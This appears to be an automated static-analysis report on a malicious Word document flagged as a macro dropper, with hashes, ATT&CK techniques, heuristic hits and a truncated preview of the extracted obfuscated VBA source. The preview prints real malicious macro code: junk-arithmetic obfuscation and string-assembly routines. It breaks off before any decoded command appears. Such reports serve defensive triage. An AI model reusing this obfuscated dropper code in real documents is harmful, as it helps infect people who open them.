Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8316265de4efaf7d…

MALICIOUS

Office (OLE)

158.0 KB Created: 2018-02-27 13:33:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: ee00d9a79e167d2169d70f3615a92ba5 SHA-1: 0f0c2962ec00744a184d55f8d54f81afe572b8d6 SHA-256: 8316265de4efaf7d9d0ff7d5dfa9504d32c7e602a10c3dcda99b985d0abde4c7
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro and Shell() call indicate that the script is designed to execute code. The presence of 'macros.bas' and the ClamAV detection 'Doc.Dropper.Agent' suggest it acts as a dropper for a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6458237-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6458237-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52700 bytes
SHA-256: a0d9fcc766ad49cfd59dc1df282fdf745f29040dd92bf71b7eb581e3720287dd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 20 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ECwhVJPZLdWr"
Sub ZrjYj()
   On Error Resume Next
   Do While wiibwIThzE Xor tzAsNwVaFM
      Dim LcAfUprH
      Do While iZFFBab Or YCbRV
         kXrIMuOzbRiW = 6025 - Atn(aRodq / CByte(7) + ssTuurmUTCDkz + Hex(rQHchfMzkwnXi)) + (171376742 / AkkYladsQ) * (5938624 * ChrW(520437311) + wQZauvXjjj * KKLwLdu)
      Loop
      UGXMOU = 6025 - Atn(RizYMwzdjQF / CByte(7) + DoaGowNqZYba + Hex(jlwWYELFKdthKT)) + (171376742 / LjfjFrq) * (5938624 * ChrW(520437311) + tzjOAiJt * ZbdNC)
      Do
         HMujsL = ZdfBittvUFs * CDate(426718607 * Atn(CWpqLbBk - Fix(HjpzIZXULKzIM * CDate(8832))) * GizzQAHEWk / CLng(5390)) / 9 - ChrB(8 - Cos(911)) / 83 + Int(AkRViFraqRuqBW) / VaIuvJpw - ChrB(872) / HMclkiDMEEH + Chr(778 / Atn(48 * Round(FwcFFhVILrzd / CBool(2)))) / (1199 / CByte(ihwbplKniOWdGq * 8 + OhlzOi * CDbl(39)))
      Loop Until bfppcUnX <= OwoFBGkP
      zCXkGbzr = uiGzORO + QmzIqz
   Loop
   Set wHiSkGH = WiQcsrZNqlGttJ
End Sub
Function MRzCmzhWsHPu()
On Error Resume Next
QKJpJw = "rMikSIzKvu% tes&&wo=%2rav%iVijMPwvBkRZpizw"
krBWdP = jAMIMPLpa = 6025 - Atn(vnbDWAzIuv / CByte(7) + VDbDXdFM + Hex(cUvdiEFfPSjk)) + (171376742 / ocOuw) * (5938624 * ChrW(520437311) + PrYMZ * LzkEo)
nlcnoHKNzzw = FdqAbrwVRuTt = 6025 - Atn(OiSOzocjEw / CByte(7) + DHVaWHVabjbHM + Hex(AWwbjUYflKTt)) + (171376742 / kQLFAjzzTVX) * (5938624 * ChrW(520437311) + KZsSunbFbwSjFU * UYWLHdZkKP)
XJdLij = iuivbdfghnkjgyugjn(QKJpJw, 17, 17)
ijkHl = "sclkN tes&&qzMRWicctWksHBSaiqiSutXwuGQYnhKHlr"
YPiiCWtquvL = XlYnOSXzj = 6025 - Atn(rURqSjEU / CByte(7) + bzUGarzGcZt + Hex(dfMEIzzDRSJbVO)) + (171376742 / uisJsBnFaC) * (5938624 * ChrW(520437311) + zvOLvZnVOpE * JiFRPIntkMOF)
lmohHdSwI = jPAvpamBd = 6025 - Atn(DoGXj / CByte(7) + AAnpwibnjXzn + Hex(vkjJnL)) + (171376742 / mZYPSk) * (5938624 * ChrW(520437311) + iBcJlEFkLbP * AoNLRczshP)
PpZUQBcZZuw = iuivbdfghnkjgyugjn(ijkHl, 35, 6)
dRJKKUKjLO = "BcvrrivsXDJIYv%!!%8rav%MNawJk"
nrcYolVz = TCYIJ = 6025 - Atn(lEBBoCBtL / CByte(7) + wJCVDEccL + Hex(iZZZzOQ)) + (171376742 / zwXTvjiLmVBP) * (5938624 * ChrW(520437311) + PpjhDTQAOaw * wpMicEalMvOAdN)
ojpLzcvUSl = qrRHbvdSj = 6025 - Atn(rtvzoiWbWzrSj / CByte(7) + QbdXTaf + Hex(pzaIz)) + (171376742 / VBSWckkK) * (5938624 * ChrW(520437311) + mYMsZHOdYK * qzRGzJ)
OVUivZiNRZ = iuivbdfghnkjgyugjn(dRJKKUKjLO, 7, 10)
nCljSJLSO = "WMHZzzOJvV6raSXDtMiZfBOJiwSfcAZdH"
ksobRw = ftmJsL = 6025 - Atn(jJqSJEir / CByte(7) + DcCpMjL + Hex(COJNpBknvCM)) + (171376742 / WikSEzllSbO) * (5938624 * ChrW(520437311) + iMaXMosz * EHiBFtHFiNC)
CZKumzI = IqVrklOu = 6025 - Atn(PazqicbNa / CByte(7) + JNASbG + Hex(wDdjnNMB)) + (171376742 / WFfcDiEHo) * (5938624 * ChrW(520437311) + iLXRjrDGsEH * tlTmKRtcN)
pcUbJQq = iuivbdfghnkjgyugjn(nCljSJLSO, 21, 3)
RacFA = "tKtDZAFmsAhTVoHTEzS=%wJZnficvYuTGUVUJmAYIm"
kOAQqJVln = GvSJTNYiMBCUO = 6025 - Atn(CajbVXju / CByte(7) + jZNzNswEuDzjPD + Hex(zOMDEZjKQ)) + (171376742 / EaQctNMLzijFN) * (5938624 * ChrW(520437311) + lOzHRQj * WOcGKcqWzOzK)
VVfYc = SibBpl = 6025 - Atn(QUltABSp / CByte(7) + btzGRDCAmC + Hex(VdiUIDBTjVG)) + (171376742 / fOVBciGIKA) * (5938624 * ChrW(520437311) + YVzDrOjbOmCwm * QlwAwJHVQUsw)
JdXALSwQ = iuivbdfghnkjgyugjn(RacFA, 8, 17)
GSUBP = "YXYKnBmOaav% oz"
ZOmQWC = PstkJwwmfotWN = 6025 - Atn(ShZYdmih / CByte(7) + rpLISwFTY + Hex(GaAPdUisqhwVz)) + (171376742 / RszYiQ) * (5938624 * ChrW(520437311) + HhSCuzojoaUVcG * RSwEwtrAbWrBq)
OljlQ = BhkIzwsiN = 6025 - Atn(XqMCHdzVDZa / CByte(7) + biRBPhrfCw + Hex(HmtjNdIAjENjHh)) + (171376742 / tzXWwRwWFGqzj) * (5938624 * ChrW(520437311) + qhjbsEP * umruYra)
SdvnmkEb = iuivbdfghnkjgyugjn(GSUBP, 3, 4)
WhBFznJ = "qafijtjS&&!%2rav%!=%ZZYIWauNj"
UHWmbl = PSvwh = 6025 - Atn(CjcEmUShII / CByte(7) + KQnmKMGBziXud + Hex(vaLGQCEzPr)) + (171376742 / XEDDiMf) * (5938624 * ChrW(520437311
... (truncated)

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